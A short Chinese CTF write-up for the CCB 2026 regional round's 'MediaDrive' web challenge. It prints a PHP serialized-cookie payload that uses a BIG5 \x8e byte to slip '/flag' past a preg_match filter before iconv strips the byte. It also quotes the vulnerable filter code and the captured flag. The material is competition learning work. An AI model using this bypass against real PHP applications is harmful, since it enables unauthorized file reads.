CCB 2026 区域赛 WriteUp

文章发布时间:

最后更新时间:

第一年打 CISCN & CCB , 初赛靠着我的好队友们抬了一把侥幸进了区域赛(还有后面的决赛)。

区域赛也是偷了一道题的 Attack 一血,吃了好几轮的分,应该是不枉我的队友给我抬进来了。

感谢三位🐉👃 @LyCecilion @CopperKoi @starwalking 组一辈子 Starfall Koi 好吗

CISCN 2025 Semi-Final WriteUp

AWDP

Web

[Attack] MediaDrive | solved | PatriciaOfEnd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class User {
public $name = "guest";
public $encoding = "BIG5";
public $basePath = "/fla\x8e";
}

$user = new User();

$output = serialize($user);


# $rawPath = unserialize($output);

# echo(iconv("BIG5", "UTF-8//IGNORE", $rawPath -> basePath ));

echo urlencode($output);

通过 \x8e 在 BIG5 转化为 UTF-8 时会因 UTF-8//IGNORE 被忽略,并且对 /flag 的过滤 preg_match 语句在转换之前。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$rawPath = $user->basePath . $f;

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
http_response_code(403);
echo "Access denied";
exit;
}

# 此处 $rawPath 为 "/fla\x8eg" 绕过了检测

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
http_response_code(500);
echo "Conversion failed";
exit;
}

# 转换后得到 /flag。

运行 Payload, 在 Burp 中访问http://10.11.253.61:22960/preview.php?f=g,抓包更换 Cookie 字段的序列化后的字符串,得到flag。

flag{1jk9h20ms651jm4sob2bmpfjg2gpd5c6}

此题的 Defense 部分由 @CopperKoi 解决。后面的 ISW 也就拿了一个签到分的 flag ,不再赘述。